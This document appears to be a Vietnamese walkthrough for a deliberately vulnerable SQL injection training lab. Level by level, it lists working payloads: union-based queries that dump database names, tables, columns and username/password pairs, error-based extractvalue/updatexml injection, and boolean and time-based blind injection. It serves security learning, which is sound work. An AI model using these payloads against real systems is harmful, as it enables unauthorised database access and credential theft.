Bảng điều khiển bài tập
Nhấn vào cấp độ tương ứng để bắt đầu thử thách
- Cấp độ 1: Truy vấn kết hợp Khi truy cập trang web, người dùng nhập tham số id. Thử với id=1 cho thấy tồn tại lỗ hổng SQL Injection.
?id=1' order by 3--+
?id=1' order by 4--+
Thực hiện truy vấn kết hợp:
?id=-1' union select 1,2,3 --+
- Cấp độ 2 (Loại số) Kiểm tra số lượng cột:
?id=1 order by 3--+
?id=1 order by 4--+
Kiểm tra khả năng hiển thị kết quả:
?id=-1 union select 1,2,3--+
Lấy tên cơ sở dữ liệu:
?id=-1 union select 1,database(),3 --+
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+
Lấy danh sách bảng trong cơ sở dữ liệu:
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
Lấy cấu trúc bảng:
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--
Trích xuất dữ liệu:
?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+
-
Cấp độ 3 (Đóng chuỗi) Lưu ý: Tương tự cấp độ 2 nhưng cần đóng chuỗi ')
-
Cấp độ 4 (Đóng chuỗi) Tương tự cấp độ 2, chú ý sử dụng ký tự đóng chuỗi như ở cấp độ 2
-
Cấp độ 5 (Kiểm tra lỗi) Sử dụng các hàm:
1. extractvalue: Trích xuất giá trị từ tài liệu XML
2. updatexml: Cập nhật giá trị trong tài liệu XML
3. floor: Làm tròn số xuống dưới
Ví dụ payload:
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
Để xử lý kết quả không đầy đủ:
?id=1' and updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+
?id=1' and updatexml(1,(select substr((group_concat(username,0x7e,password)),1,32) from users),1) --+
-
Cấp độ 6 (Đóng chuỗi) Giống với cấp độ 3
-
Cấp độ 8 (Blind SQL dựa trên giá trị boolean) Sử dụng phương pháp phân tích nhị phân:
?id=1' and (select length(database())>1) and 1=1 --+ true
?id=1' and (select length(database())>10) and 1=1 --+ flase
?id=1' and (select length(database())>5) and 1=1 --+ true
...
Xác định từng ký tự bằng cách kết hợp:
?id=1' and ((select ascii(substr(database(),1,1)))>100) and 1=1 --+ true
?id=1' and ((select ascii(substr(database(),1,1)))>200) and 1=1 --+ flase
...
- Cấp độ 9 (Blind SQL dựa trên thời gian) Sử dụng hàm sleep để kiểm tra thời gian phản hồi:
?id=1' and if(length(database())=1,sleep(5),1)--+
?id=1' and if(length(database())=10,sleep(5),1)--+
...
Tiếp tục xác định ký tự bằng:
?id=1'and if(ascii(substr((select database()),1,1))=100,sleep(5),1)--+
?id=1'and if(ascii(substr((select database()),1,1))=200,sleep(5),1)--+
...
- Cấp độ 10 (Đóng chuỗi ") Sử dụng phương pháp tương tự cấp độ 9, thay đổi ký tự đóng chuỗi thành "